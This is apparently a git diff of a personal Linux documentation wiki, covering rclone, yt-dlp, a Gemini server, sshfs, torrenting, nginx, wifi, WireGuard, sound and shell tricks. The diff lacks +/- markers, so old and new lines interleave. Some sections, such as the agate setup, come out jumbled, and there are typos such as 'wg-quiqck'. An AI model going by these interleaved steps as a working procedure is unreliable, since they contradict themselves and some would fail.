Delete contets of a remote file:
```bash
rclone delete n:test
```
> rclone delete n:test
Or delete the folder and contents as well:
```bash
rclone purge n:test
```
> rclone purge n:test
Copy to and from with:
```bash
rclone copyto google:test foo
```
> rclone copyto google:test foo
or
```bash
rclone copyto foo google:test
> rclone copyto foo google:test

16
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@ -4,27 +4,19 @@ tags: [ "Documentation", "Scraping" ]
---
Install `yt-dlp`.
```bash
yt-dlp --write-auto-sub *<URL>*
```
> yt-dlp --write-auto-sub *<URL>*
It will default to English, but you can specify another language with the flag --sub-lang:
```bash
youtube-dl --sub-lang sv --write-auto-sub *<URL>*
```
> youtube-dl --sub-lang sv --write-auto-sub *<URL>*
You can list all available subtitles with:
```bash
yt-dlp --list-subs *<URL>*
```
> yt-dlp --list-subs *<URL>*
It's also possible to skip the video and only download the subtitle if you add the flag --skip-download:
```bash
yt-dlp --sub-lang sv --write-auto-sub --skip-download *<URL>*
```
> yt-dlp --sub-lang sv --write-auto-sub --skip-download *<URL>*
## Alternative

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@ -1,86 +1,58 @@
---
title: "Agate on Arch Linux"
tags: [ "Documentation", "Networking", "Arch", "Gemini" ]
title: "agate"
tags: [ "Documentation", "Networking" ]
---
Make sure your dns is in order.
My domain name is `malinfreeborn.com`, so put your own in there.
Install agate by placing the binary somewhere or (on Arch):
> yay -S agate
---
Docs are [here](https://github.com/mbrubeck/agate).
> sudo mkdir -p /usr/share/gemini/{certs,gemini}
You will need DNS set up before proceeding.
> sudo useradd gemini -d /usr/share/gemini
Install agate.
> sudo chown -R gemini:gemini /usr/share/gemini
`yay -S agate`
> sudo su gemini
Be root!
> cd
In my case the domain is 'splint.rs'.
> echo 'Hello Gemworld!' > gemini/index.gmi
`DOMAIN1=splint.rs`
Make a service file.
You can set up any number of domain names.
> sudo vim /etc/systemd/system/multi-user.target.wants/agate.service
`DOMAIN2=ttrpgs.com`
Start agate once to make the certificates.
Make a directory to serve the gemini files from:
`GEMDIR=/srv/gemini`
`mkdir -p $GEMDIR/$DOMAIN1`
`mkdir -p $GEMDIR/$DOMAIN2`
Put at least one gemini file into the directory:
> agate --content /usr/share/gemini/gemini --hostname malinfreeborn.com --lang en-GB
```
echo Welcome to $DOMAIN1 > $GEMDIR/$DOMAIN1/index.gmi
echo Welcome to $DOMAIN2 > $GEMDIR/$DOMAIN2/index.gmi
```
[Unit]
Description=agate
After=Network.target
Set a language variable:
[Service]
User=gemini
Type=simple
ExecStart=/usr/bin/agate --content /usr/share/gemini/gemini --hostname malinfreeborn.com --lang en-GB
`LANG=en_GB`
You need to run the agate command once interactively, in order to create certs:
[Install]
WantedBy=default.target
```
agate --content $GEMDIR --certs $GEMDIR/.certs \
--addr [::]:1965 --addr 0.0.0.0:1965
--hostname $DOMAIN1 --hostname $DOMAIN2
--lang $LANG
```
Once that works, it's time to make a service file; select any name for it:
> sudo systemctl daemon-reload
`SVFILE=st`
> sudo systemctl enable --now agate
```
echo "
CONTENT=--content $GEMDIR
CERT=--certs $GEMDIR/.certs
ADDR=--addr [::]:1965 --addr 0.0.0.0:1965
HOSTNAME=--hostname $DOMAIN1 --hostname $DOMAIN2
LANG=--lang $LANG
" > $SVFILE.conf
```
Check the service file has all those variables and looks right:
# Redirection
`cat $SVFILE.conf`
Now move it into the agate config directory:
`mv $SVFILE.conf /etc/agate/`
And finally, start the service:
```
systemctl daemon-reload
systemctl enable --now agate@$SVFILE.conf
```
Your Gemini capsule should be available, and you should be able to see any access in the logs:
```
journalctl -xeu agate@$SVFILE.conf
```
Indicate a permanent move by placing this file in the root of the capsule:
> index.gmi: 31 gemini://splint.rs

44
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@ -1,44 +0,0 @@
---
title: "dns"
tags: [ "networking", "host" ]
---
| Record | Type | Example |
|:-----------:|:--------------------|:---------------------------------------|
| A Record | IPv4 Address | "$domain".com |
| AAAA Record | IPv4 Address | "$domain".com |
| CNAME | Alternative Address | "$domain".rs, "$subdomain.$domain".com |
| NS | Nameserver | ns1.fastname.com |
| MX | Email server | "$domain".com |
| TXT | Literally anything,including ownership of a domain | |
| | | |
Query a host with the `host` command.
```bash
host $domain.$tld
```
```bash
host $domain.$tld 9.9.9.9
```
> dmz.rs has address 77.105.27.232
> dmz.rs mail is handled by 10 kralizec.dmz.rs.
> dmz.rs mail is handled by 20 splint.rs.
This shows the MX record has a secondary handler, called splint.rs.
You can also add a specific nameserver:
Request a specific record type (`CNAME`, `TXT`, et c.):
```bash
torsocks host -T -t $RECORD_TYPE $domain
```
## Troubleshooting
The `host` command uses UDP.
You can change to TCP by using `host -T`.

8
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@ -4,9 +4,7 @@ tags: [ "Documentation", "Networking" ]
---
# Mount
```bash
sshfs $USER@$IP_ADDRESS:$DIR
```
> sshfs alfred@192.168.0.14:Sync/Alfred
Various flags:
@ -15,7 +13,5 @@ Various flags:
# Unmount
```bash
fusermount3 -u $DIR
```
> fusermount3 -u Sync/Alfred

16
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@ -5,25 +5,17 @@ tags: [ "Documentation", "Networking", "ssh", "tricks" ]
Mount a remote filesystem locally with fuse-sshfs:
```bash
sshfs *user*@192.168.0.10:/home/*user* /tmp/mnt
```
> sshfs *user*@192.168.0.10:/home/*user* /tmp/mnt
Unmount with:
```bash
fusermount -u /tmp/mnt
```
> fusermount -u /tmp/mnt
Set it up on /etc/fstab with:
```bash
sshfs#bkp@bkp.a-server.ninja:/media/store1/bkp /backup fuse defaults,allow_other,reconnect,delay_connect 0 0
```
> sshfs#bkp@bkp.a-server.ninja:/media/store1/bkp /backup fuse defaults,allow_other,reconnect,delay_connect 0 0
Make image backup of sda1 and sda2 from one machine and pass it through ssh to another.
```bash
for i in {1,2};do sudo dd if=/dev/sda$i | ssh -C *user*@192.168.0.10 "dd of=/mnt/Backup/winback-oct-\"$i\".img" status=progress; done
```
> for i in {1,2};do sudo dd if=/dev/sda$i | ssh -C *user*@192.168.0.10 "dd of=/mnt/Backup/winback-oct-\"$i\".img" status=progress; done

4
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@ -5,9 +5,7 @@ tags: [ "Documentation", "Networking" ]
# Get a hostname
```bash
sudo vim /etc/tor/torrc
```
> sudo vim /etc/tor/torrc
Uncomment the lines about `/var/lib/tor/hidden_services`, including port 22 (or whatever); restart tor, then go to that directory, and cat the hostname.

97
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@ -4,16 +4,21 @@ tags: [ "Documentation", "Networking", "Torrenting" ]
---
# Torrench
Search for a torrent, e.g. 'sita sings the blues'.
Torrench searches for torrents.
It breaks a lot, so if it's not working, the problem is probably in the program.
Search for 'sita sings the blues' with:
> torrench 'sita sings the blues'
Copy the magnet link.
It looks like this:
> magnet:?xt=urn:btih:05547db7c0c5fbbe50f00212ee43e9cec5b006fa&dn=Sita+Sings+the+Blues+%281080P+official+release%29&tr=udp%3A%2F%2Ftracker.leechers-paradise.org%3A6969&tr=udp%3A%2F%2Ftracker.openbittorrent.com%3A80&tr=udp%3A%2F%2Fopen.demonii.com%3A1337&tr=udp%3A%2F%2Ftracker.coppersurfer.tk%3A6969&tr=udp%3A%2F%2Fexodus.desync.com%3A6969
`magnet:?xt=urn:btih:05547db7c0c5fbbe50f00212ee43e9cec5b006fa&dn=Sita+Sings+the+Blues+%281080P+official+release%29&tr=udp%3A%2F%2Ftracker.leechers-paradise.org%3A6969&tr=udp%3A%2F%2Ftracker.openbittorrent.com%3A80&tr=udp%3A%2F%2Fopen.demonii.com%3A1337&tr=udp%3A%2F%2Ftracker.coppersurfer.tk%3A6969&tr=udp%3A%2F%2Fexodus.desync.com%3A6969`
But you only need this bit (up until the `&` character):
> magnet:?xt=urn:btih:05547db7c0c5fbbe50f00212ee43e9cec5b006fa
`magnet:?xt=urn:btih:05547db7c0c5fbbe50f00212ee43e9cec5b006fa`
# Transmission
@ -22,40 +27,28 @@ Install it then start the service.
Arch Linux:
```bash
sudo systemctl start transmission
```
> sudo systemctl start transmission
Debian:
```bash
sudo systemctl start transmission-daemon
```
> sudo systemctl start transmission-daemon
Add a torrent by the .torrent file, or a magnet link, like this:
```bash
transmission-remote -a 'magnet:?xt=urn:btih:05547db7c0c5fbbe50f00212ee43e9cec5b006fa&dn=Sita+Sings+the+Blues+%281080P+official+release%29&tr=udp%3A%2F%2Ftracker.leechers-paradise.org%3A6969&tr=udp%3A%2F%2Ftracker.openbittorrent.com%3A80&tr=udp%3A%2F%2Fopen.demonii.com%3A1337&tr=udp%3A%2F%2Ftracker.coppersurfer.tk%3A6969&tr=udp%3A%2F%2Fexodus.desync.com%3A6969'
```
> transmission-remote -a 'magnet:?xt=urn:btih:05547db7c0c5fbbe50f00212ee43e9cec5b006fa&dn=Sita+Sings+the+Blues+%281080P+official+release%29&tr=udp%3A%2F%2Ftracker.leechers-paradise.org%3A6969&tr=udp%3A%2F%2Ftracker.openbittorrent.com%3A80&tr=udp%3A%2F%2Fopen.demonii.com%3A1337&tr=udp%3A%2F%2Ftracker.coppersurfer.tk%3A6969&tr=udp%3A%2F%2Fexodus.desync.com%3A6969'
```bash
transmission-remote -a sita.torrent
```
> transmission-remote -a sita.torrent
Now let's check that the torrent's been added successfully.
```bash
transmission-remote -l
```
> transmission-remote -l
To see the torrents, go to /var/lib/transmission/Downloads
If you don't have permission, either add the directory to the group made for your username, or add yourself to the `:transmission` group, or otherwise make sure that you can read that directory, and the user `transmission` can read, write and execute.
E.g.:
```bash
sudo usermod -aG transmission $USER
```
> sudo usermod -aG transmission $USER
Log in again for the changes to take effect (or open a new TTY with `Ctrl+Alt+F2`).
@ -63,17 +56,13 @@ Log in again for the changes to take effect (or open a new TTY with `Ctrl+Alt+F2
If you don't want to have a file active as a torrent, get it's number with `transmission-remote -l`, then, if it were number '4', do:
```bash
transmission-remote -t 4 -r
```
> transmission-remote -t 4 -r
You can now move the file, and the torrent will not be confused.
To both **r**emove **a**nd **d**elete a file, use `-rad`:
```bash
transmission-remote -t 4 -rad
```
> transmission-remote -t 4 -rad
# Moving Torrents
@ -82,57 +71,5 @@ If the file is in your home - `~` - but `transmission` is not allowed in your ho
Next, find the torrent's number. You can use multiple numbers, separated with a comma:
```bash
transmission-remote -t 3,5,8 --move /home/alice/music
```
> transmission-remote -t 3,5,8 --move /home/alice/music
## Change Default Location
The `transmission` user has a home configuration file, like any other user, with all the transmission settings.
```bash
cd /var/lib/transmission/.config/transmission-daemon/
$EDITOR settings.json
```
Change the `download-dir` value to wherever you want the torrents to go.
# Creating Torrents
Transmission always needs the full path to every file, and the daemon will need permission to view the file.
When it doubt, just place the files in `transmission`'s home directory.
Create a torrent of file or directory `Memes` with:
```bash
sudo chown -R :transmission Memes
transmission-create $(pwd)/Memes
```
Add a tracker to the torrent, to make sure others can find you easily:
```bash
transmission-create --comment 'My Memes collection' -t 'udp://tracker.publicbt.com:80' -t 'udp://tracker.openbittorrent.com:80' --anonymize Memes
```
Without the `--anonymize` flag, the torrent file output will have a 'created by' and 'created date'.
## Open Trackers
- udp://tracker.opentrackr.org:1337/announce
- udp://opentracker.i2p.rocks:6969/announce
- https://opentracker.i2p.rocks:443/announce
- udp://tracker.openbittorrent.com:6969/announce
- http://tracker.openbittorrent.com:80/announce
- udp://9.rarbg.com:2810/announce
- udp://open.demonii.com:1337/announce
- udp://exodus.desync.com:6969/announce
- udp://tracker.moeking.me:6969/announce
- https://tracker.tamersunion.org:443/announce
- udp://tracker1.bt.moack.co.kr:80/announce
- udp://tracker.bitsearch.to:1337/announce
- udp://p4p.arenabg.com:1337/announce
- udp://explodie.org:6969/announce
- https://tracker.gbitt.info:443/announce
- http://tracker.gbitt.info:80/announce

12
networking/troubleshooting.md
View File

@ -7,19 +7,13 @@ tags: [ "Documentation", "Networking" ]
If not, try checking out what your local Networking interfaces are, then check if they have been picked up:
```bash
dmesg | grep eth0
```
> dmesg | grep eth0
# Display Active Ports
```bash
netstat -l
```
> netstat -l
...or maybe narrow it down to http:
```bash
netstat -l | grep http
```
> netstat -l | grep http

47
networking/website/nginx.md
View File

@ -4,37 +4,25 @@ tags: [ "Documentation", "Networking" ]
---
Install nginx:
```bash
sudo apt-get install nginx
```
> sudo apt-get install nginx
```bash
sudo apt-get enable --now nginx
```
> sudo apt-get enable --now nginx
Put a website somewhere:
```bash
mkdir /var/www/html/mysite/
```
> mkdir /var/www/html/mysite/
Put an index file there:
```bash
vim /var/www/html/mysite/index.html
```
> vim /var/www/html/mysite/index.html
Make the owner `www-data`
```bash
chown -R www-data:www-data /var/www/html/mysite/
```
> chown -R www-data:www-data /var/www/html/mysite/
Make a configuration file for nginx:
```bash
vim /etc/nginx/sites-available/mysite.conf
```
> vim /etc/nginx/sites-available/mysite.conf
```
@ -49,20 +37,15 @@ server {
try_files $uri $uri/ =404;
}
}
```
}```
Make the site available:
```bash
ln -s /etc/nginx/sites-available/mysite.conf /etc/nginx/sites-enabled/
```
> ln -s /etc/nginx/sites-available/mysite.conf /etc/nginx/sites-enabled/
Test it's working:
```bash
nginx -t
```
> nginx -t
## Troubleshooting
@ -82,19 +65,13 @@ Buy some DNS online, then check it's working.
*Once it's working*, use certbot:
```bash
apt install certbot
```
> apt install certbot
You may need to install an nginx python module:
```bash
apt install python3-certbot-nginx
```
> apt install python3-certbot-nginx
```bash
certbot --nginx -d *mysite.tk* --non-interactive --agree-tos -m *webmaster@email.tld*
```
> certbot --nginx -d *mysite.tk* --non-interactive --agree-tos -m *webmaster@email.tld*
When you are asked about redirecting from HTTP to HTTPS, say yes (option "2").

62
networking/wifi.md
View File

@ -6,87 +6,65 @@ tags: [ "Documentation", "Networking" ]
Stats on local net usage within domain.
```bash
iftop -p -n
```
> iftop -p -n
```bash
whois domain.com
```
> whois domain.com
Info on domain, whether it's taken, et c.:
```bash
dig domain.com
```
> dig domain.com
```bash
ifconfig
```
> ifconfig
Versatile wifi tool:
```bash
nmcli
```
> nmcli
# Examples
You want to connect to the internet.
```bash
sudo iwconfig
```
> sudo iwconfig
Get knowledge of wireless state. The output might be:
> wlp3s0 IEEE 802.11 ESSID:"Gandalf WajFaj"
`wlp3s0 IEEE 802.11 ESSID:"Gandalf WajFaj"`
> Mode:Managed Frequency:2.412 GHz Access Point: 10:05:01:90:AC:1A
`Mode:Managed Frequency:2.412 GHz Access Point: 10:05:01:90:AC:1A`
> Bit Rate=144.4 Mb/s Tx-Power=15 dBm
`Bit Rate=144.4 Mb/s Tx-Power=15 dBm`
> Retry short limit:7 RTS thr:off Fragment thr:off
`Retry short limit:7 RTS thr:off Fragment thr:off`
> Encryption key:off
`Encryption key:off`
> Power Management:on
`Power Management:on`
> Link Quality=64/70 Signal level=-46 dBm
`Link Quality=64/70 Signal level=-46 dBm`
> Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag
`Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag`
> Tx excessive retries:0 Invalid misc:363 Missed beacon
`Tx excessive retries:0 Invalid misc:363 Missed beacon`
This tells you that your ESSID is 'Gandalf WajFaj', and the access point name is 10:05:......
```bash
nmcli radio
```
> nmcli radio
You get an overview of your radio devices.
You're told that eth0 deals with your ethernet and `wlan0` deals with wifi.
`wlan0` is a file which represents your wifi device.
```bash
nmcli wlan0 wifi rescan
```
> nmcli wlan0 wifi rescan
```bash
nmcli device wifi list
```
> nmcli device wifi list
Now to connect.
```bash
nmcli device wifi connect [SSID] [your password] [wifi password]
```
> nmcli device wifi connect [SSID] [your password] [wifi password]
Alternatively, you can use
```bash
nmcli -ask device wifi connect [SSID]
```
> nmcli -ask device wifi connect [SSID]
And it'll ask for your password, so you're not typing it in in full view.

40
networking/wireguard.md
View File

@ -1,6 +1,6 @@
---
title: "wireguard"
tags: [ "Documentation", "Networking", "VPN" ]
tags: [ "Documentation", "Networking" ]
---
<!--
from
@ -11,25 +11,16 @@ https://engineerworkshop.com/blog/how-to-set-up-wireguard-on-a-raspberry-pi/
Install `wireguard-tools` on the server.
```bash
sudo -i
```
> sudo -i
```bash
cd /etc/wireguard
```
> cd /etc/wireguard
umask 077
```bash
wg genkey | tee server_private_key | wg pubkey > server_public_key
```
> wg genkey | tee server_private_key | wg pubkey > server_public_key
```bash
wg genkey | tee client_private_key | wg pubkey > client_public_key
```
> wg genkey | tee client_private_key | wg pubkey > client_public_key
```bash
echo "
[Interface]
Address = 10.0.0.1/24
@ -44,23 +35,14 @@ wg genkey | tee client_private_key | wg pubkey > client_public_key
PublicKey = $(cat client_public_key)
AllowedIPs = 10.0.0.2/32
" > /etc/wireguard/wg0.conf
```
```bash
echo 'net.ipv4.ip_forward=1' > /etc/sysctl.d/wg.conf
```
> echo 'net.ipv4.ip_forward=1' > /etc/sysctl.d/wg.conf
```bash
systemctl enable --now wg-quiqck@wg0
```
> systemctl enable --now wg-quiqck@wg0
```bash
chown -R root:root /etc/wireguard/
```
> chown -R root:root /etc/wireguard/
```bash
chmod -R og-rwx /etc/wireguard/\*
```
> chmod -R og-rwx /etc/wireguard/\*
Forward traffic from port 51900 to the server.
@ -98,6 +80,4 @@ Add multiple peers by copying the `[peer]` section (they each get called `peer`)
Make a standard client configuration, then:
```bash
qrencode -t ansiutf8 < /etc/wireguard/mobile_user.conf
```
> qrencode -t ansiutf8 < /etc/wireguard/mobile_user.conf

32
networking/wireless.md
View File

@ -4,41 +4,29 @@ tags: [ "Documentation", "Networking" ]
---
# Check wifi's working
```bash
lspci -k
```
> lspci -k
Or for usb wifi:
```bash
dmesg | grep usbcore
```
> dmesg | grep usbcore
... and hopefully it'll say the new interface is registered.
# Check if a wifi interface has been created
```bash
ip link
```
> ip link
or
```bash
iw dev
```
> iw dev
Assuming it's wlan0, bring it up with
```bash
ip link set wlan0 up
```
> ip link set wlan0 up
Error messages probably means your wireless chipset requires a firmware to function. In this case, check the kernel messages for firmware being loaded
```bash
dmesg | grep firmware
```
> dmesg | grep firmware
# Utilities
@ -48,15 +36,11 @@ iw doesn't do wpa/wpa2. wpa_supplicant does everything. iwd does everything ex
Get the link status:
```bash
iw dev wlan0 link
```
> iw dev wlan0 link
Scan for available points:
```bash
iw dev wlan0 scan
```
> iw dev wlan0 scan
The connecting commands do not cover wpa2.

64
networking/wpa_supplicant.md
View File

@ -7,87 +7,57 @@ wpa_supplicant configurations are stored in /etc/wpa_supplicant/wpa_supplicant-w
## WiFi Connection
```bash
wpa_cli
```
> wpa_cli
Once in, scan the network, add an empty place to store credentials, then input them.
```bash
scan
```
> scan
```bash
scan_results
```
> scan_results
```bash
add_network
```
> add_network
This outputs a network number, e.g. '3'. This is the new network you'll work with.
```bash
set_network *3* ssid *"Kosachok Cafe"*
```
> set_network *3* ssid *"Kosachok Cafe"*
```bash
set_network 3 psk *"Kosachok2019"*
```
> set_network 3 psk *"Kosachok2019"*
OR (for no password)
```bash
set_network *3* key_mgmt NONE
```
> set_network *3* key_mgmt NONE
```bash
enable_network 3
```
> enable_network 3
```bash
save_config
```
> save_config
This takes a while to connect, so to speed things up, restart the service:
```bash
sudo sv restart wpa_supplicant
```
> sudo sv restart wpa_supplicant
# Scripts
You can script like this:
```bash
wpa_cli add_network
```
> wpa_cli add_network
That returns an ID, so you can say:
```bash
newNetwork="$(wpa_cli add_network)"
```
> newNetwork="$(wpa_cli add_network)"
Then `$newNetwork` would equal that number, and you can add/ remove networks with scripts.
But remember to escape the quotes, so adding a network would be:
```bash
wpa_cli set_network *3* psk *\""passphrase"\"*
```
> wpa_cli set_network *3* psk *\""passphrase"\"*
## Generating Keys Manually
```bash
wpa_passphrase [ssid] [password]
```
> wpa_passphrase [ssid] [password]
For example:
```bash
wpa_passphrase 'Cafe Kosachok' 'Kosachok2019'
```
> wpa_passphrase 'Cafe Kosachok' 'Kosachok2019'
This then spills the relevant psk and such to be entered into the wpa_supplicant configuration file.
@ -95,8 +65,6 @@ If you encounter problems, you will probably need to delete the old device pid i
Next up, start wpa_supplicant:
```bash
wpa_supplicant -B -iwlan0 -c /etc/wpa_supplicant/wpa_supplicant-wlan0
```
> wpa_supplicant -B -iwlan0 -c /etc/wpa_supplicant/wpa_supplicant-wlan0
The -B flag runs this as a background process. Remove this to see real-time output in order to solve problems. The -i flag denotes the physical device used for the wifi. The -c flag points to the configuration file for use.

27
new.sh
View File

@ -1,27 +0,0 @@
#!/bin/sh
echo Select a category
category="$(find . -type d -printf '%P\n' | fzy)"
[ ! -d "$category" ] && mkdir "$category"
echo Select a name
read name
filePath="$category/$(echo $name | sed 's/ /_/g').md"
tagsList="$(echo \"$category | sed 's#\/#", "#g')\""
[ -e "$filePath" ] && $EDITOR $filePath && exit 0
echo "---
title: \"$name\"
tags: [ $tagsList ]
---
" > "$filePath"
$EDITOR "$filePath"

36
sound/basics.md
View File

@ -9,15 +9,11 @@ Check with `which pulseaudio`. No output means you need to use alsa (below).
# Volume Control
```bash
pactl set sink @DEFAULT_SINK@ +5%
```
> pactl set sink @DEFAULT_SINK@ +5%
Find working outputs:
```bash
aplay -l
```
> aplay -l
#Sound Settings
@ -30,9 +26,7 @@ amixer scontrols
# Change a Sound setting
```bash
amixer set Master 5%-
```
> amixer set Master 5%-
# Restart everything
@ -42,34 +36,22 @@ pulseaudio -k && sudo alsa force-reload
Toggle, mute, increase or decrase audio:
```bash
amixer sset Master toggle
```
> amixer sset Master toggle
```bash
amixer sset Master mute
```
> amixer sset Master mute
```bash
amixer sset Master 5%+
```
> amixer sset Master 5%+
```bash
amixer sset Master 5%-
```
> amixer sset Master 5%-
# Finicky Sound Cards
Start with:
```bash
alsamixer
```
> alsamixer
Then press `F6` to see available Sound cards.
If you find a Sound card called 'PinePhone', then you can select an audio source there, and adjust with:
```bash
amixer -c PinePhone set 'Headphone' 50%
```
> amixer -c PinePhone set 'Headphone' 50%

8
sound/festival.md
View File

@ -6,13 +6,9 @@ tags: [ "Documentation", "Sound" ]
Add your user to the audio group, and install `festival-english`.
```bash
echo "(Parameter.set 'Audio_Method 'Audio_Command)" >> /usr/share/festival/voices.scm
```
> echo "(Parameter.set 'Audio_Method 'Audio_Command)" >> /usr/share/festival/voices.scm
```bash
echo "(Parameter.set 'Audio_Command "aplay -q -c 1 -t raw -f s16 -r $SR $FILE")" /usr/share/festival/voices.scm
```
> echo "(Parameter.set 'Audio_Command "aplay -q -c 1 -t raw -f s16 -r $SR $FILE")" /usr/share/festival/voices.scm
# Set Default Voice

64
sound/mpd.md
View File

@ -8,47 +8,45 @@ tags: [ "Documentation", "Sound" ]
This is a minimum configuration file for /etc/mpd.conf
```
> music_directory "/var/lib/mpd/music"
>
> playlist_directory "/var/lib/mpd/playlists"
>
> db_file "/var/lib/mpd/mpd.db"
>
>
> pid_file "/run/mpd/mpd.pid"
>
> state_file "/var/lib/mpd/mpdstate"
>
>
> user "mpd"
>
> audio_output {
> type "pulse"
> name "My Pulse Output"
> }
>
> audio_output {
> type "fifo"
> name "my_fifo"
> path "/tmp/mpd.fifo"
> format "44100:16:2"
> }
music_directory "/var/lib/mpd/music"
playlist_directory "/var/lib/mpd/playlists"
db_file "/var/lib/mpd/mpd.db"
pid_file "/run/mpd/mpd.pid"
state_file "/var/lib/mpd/mpdstate"
user "mpd"
audio_output {
type "pulse"
name "My Pulse Output"
}
audio_output {
type "fifo"
name "my_fifo"
path "/tmp/mpd.fifo"
format "44100:16:2"
}
```
You can use alsa instead of pulse, but don't unless you're on a Pi.
Since this is run as the mpd user, you'll need to grant that user pulse acceess, often with the user-group `pulse` or `pulse-access`, but your distro may vary.
```bash
sudo usermod -aG pulse-access mpd
```
> sudo usermod -aG pulse-access mpd
Working with mpd will be easier if you have access to its files, so maybe:
```bash
sudo usermod -aG mpd $USER
```
> sudo usermod -aG mpd $USER
@ -56,7 +54,5 @@ sudo usermod -aG mpd $USER
Install `mpd-notification` and then start the service:
```bash
systemctl --user enable mpd-notification
```
> systemctl --user enable mpd-notification

4
sound/ncmpcpp.md
View File

@ -17,9 +17,7 @@ I couldn't change volume, so in mpd.conf I uncommented the pulse audio lines and
Also, make sure the user mpd is part of the group pulse:
```bash
sudo adduser mpd pulse
```
> sudo adduser mpd pulse
In the audio_output section, try setting the mix_type to "software", not "hardware".

21
system/android.md
View File

@ -8,33 +8,24 @@ tags: [ "Documentation", "System" ]
Install:
```bash
yay -S simple-mtpfs
```
> yay -S simple-mtpfs
List available phones:
```bash
simple-mtpfs -l
```
> simple-mtpfs -l
Make a mount point:
```bash
mkdir phone
```
> mkdir phone
Check your phone, and tell it to allow access to the USB.
```bash
simple-mtpfs --device 1 phone
```
> simple-mtpfs --device 1 phone
## Stop
```bash
fusermount -u phone
> fusermount -u phone
rmdir phone
```

32
system/awk.md
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@ -8,55 +8,39 @@ See a file's contents:
Return full contents of a string:
```bash
awk '{ print }' file
```
> awk '{ print }' file
Print the first and second column:
```bash
awk '{print$1$2}'
```
> awk '{print$1$2}'
Return every line with the word 'the' (like grep):
```bash
awk '/the/{print}' file
```
> awk '/the/{print}' file
Print everything containing a lowercase letter:
```bash
awk '/[a-z]/{print}' file
```
> awk '/[a-z]/{print}' file
Same with numbers [0-9], or using a caret we can show lines starting with a number - ^[0-9], or ending with an uppercase letter - $[A-Z].
# Conditionals
```bash
awk '{ if($1 ~ /123/) print }' file
```
> awk '{ if($1 ~ /123/) print }' file
Check if the first column is equal to 1 or 2 or 3, and if so then print that line.
Grep for 'hawk' in a story:
```bash
awk '/hawk/' story.txt
```
> awk '/hawk/' story.txt
Return any line with one or more "&" sequences:
```bash
awk '/&+/' script.sh
```
> awk '/&+/' script.sh
The pipe is used for 'or', so 'Orcs or drums' would be:
```bash
awk '/Orcs|Drums/' story.txt
```
> awk '/Orcs|Drums/' story.txt
Basic variables are:

93
system/bash_tricks.md
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@ -1,18 +1,46 @@
---
title: "Terminal Tips"
title: "bash_tricks"
tags: [ "Documentation", "System" ]
---
## Track Live Changes
# Track Live Changes
See changes in a file as it changes:
`tail -f *somefile*`
> tail -f *somefile*
See changes in a directory, as it changes:
`watch -d ls *directory*`
> watch -d ls *directory*
## Automatic Renaming
# Automatic mp3 Tagging
> !/usr/bin/env bash
> IFS=$'\n'
> for f in $(find . -type f); do
> id3tool $f -t $(basename $f | cut -d- -f3 | sed 's/\.[^\,]*$//')
> done
One can also use
> sed s/\,[^\.]\*$//
... in order to avoid multiple full stops messing up syntax.
We can use `\.` as a literal full stop.
`[^ ]` means anything other than the containing character, so `[^\.]` would mean `anything other than a full stop'.
`*` in sed means this character is repeated any number of times, including 0, so files with no `.` character would still be processed fine.
`$` means `end of the line'.
Apparently sed uses `regex, not globing'.
Regular expressions (``regex'') looks for patterns and is used with find and grep. It interprets `*' as a wildcard, `?' as a single-character wildcard, and [12,1,2] as characters matching one of a set (in this case, `12 or 1 or 2 but not 21'].
If the shell is set to find file ``a*b.txt'' then it will pass this first to regex, and hit items like `aab.txt' and `abb.txt'. If it finds nothing, it'll then use globbing, and interpret `a*b.txt' literally.
# Automatic Renaming
There are a bunch of files:
@ -25,49 +53,50 @@ There are a bunch of files:
Goal: swap the word "Column" for "Alice" in all files.
```
IFS=$'\n'
for f in $(find . -name "Col*"); do
mv "$f" $(echo "$f" | sed s/Column/Alice/)
done
```
> IFS=$'\n'
> for f in $(find . -name "Col*"); do
> mv "$f" $(echo "$f" | sed s/Column/Malin/)
> done
IFS is the field separator. This is required to denote the different files as marked by a new line, and not the spaces.
## Arguments and Input
# Arguments and Input
The `rm' program takes arguments, but not `stdin' from a keyboard, and therefore programs cannot pipe results into rm.
That said, we can sometimes pipe into rm with `xargs rm' to turn the stdin into an argument. For example, if we have a list of files called `list.txt' then we could use cat as so:
```bash
cat list.txt | xargs rm
```
> cat list.txt | xargs rm
... *However*, this wouldn't work if spaces were included, as rm would take everything literally.
## Numbers
# Numbers
Add number to variables with:
* `let "var=var+1"`
* `let "var+=1"`
* `let "var++"`
* `((++var))`
* `((var=var+1))`
* `((var+=1))`
* `var=$(expr $var + 1)`
* > let "var=var+1"
* > let "var+=1"
* > let "var++"
* > ((++var))
* > ((var=var+1))
* > ((var+=1))
* > var=$(expr $var + 1)
`((n--))` works identically.
((n--)) works identically.
## Finding Duplicate Files
# Finding Duplicate Files
```bash
find . -type f -exec md5sum '{}' ';' | sort | uniq --all-repeated=separate -w 15 > all-files.txt
```
> find . -type f -exec md5sum '{}' ';' | sort | uniq --all-repeated=separate -w 15 > all-files.txt
## Output random characters
... add blank line to top of first file.
```bash
cat /dev/urandom | tr -cd [:alnum:] | dd bs=1 count=200 status=none && echo
```
> awk '/^$/{getline;print;}' all-files.txt > uniq.txt
> diff all-files.txt uniq.txt | grep '/' | cut -d '.' -f 2,3,4,5 | sed 's#/##' | sed 's/ /\\ /g' | xargs rm
Output random characters.
> cat /dev/urandom | tr -cd [:alnum:] | dd bs=1 count=200 status=none && echo

8
system/character-encoding.md
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@ -4,9 +4,7 @@ tags: [ "Documentation", "System" ]
---
Convert a text file from one encoding type to another with:
```bash
iconv -f ascii -t utf8 oldfilename > newfilename
```
> iconv -f ascii -t utf8 oldfilename > newfilename
Available options are:
@ -20,7 +18,5 @@ Available options are:
Generate a full list of encoding types available with:
```bash
iconv -l
```
> iconv -l

49
system/compression.md Normal file
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@ -0,0 +1,49 @@
---
title: "compression"
tags: [ "Documentation", "System" ]
---
# Tar
## Basics
* --create -c
* --list -t
* --extract --get -x
* --file=file -f file
Look in tar file:
> tar -tf filename.tar.gz
Look in detail:
> tar -tvf filename.tar.gz
# Zip
Zip file:
> zip name.zip file
Zip directory:
> zip -r name.zip dir
Update existing entries.
> zip -ru name.zip dir file1 file2
Delete file from the zipfile.
> zip -d name.zip dfile
# 7z for .img.xz
> 7z x file.img.xz

20
system/default_programs.md
View File

@ -9,37 +9,27 @@ Install the package `xdg-utils`, then make very liberal use of the tab button.
Ask what type of application opens an mkv file:
```bash
xdg-mime query default video/mkv
```
> xdg-mime query default video/mkv
Same with pdf:
```bash
xdg-mime query default application/pdf
```
> xdg-mime query default application/pdf
Ask what file-type `book.pdf` uses.
```bash
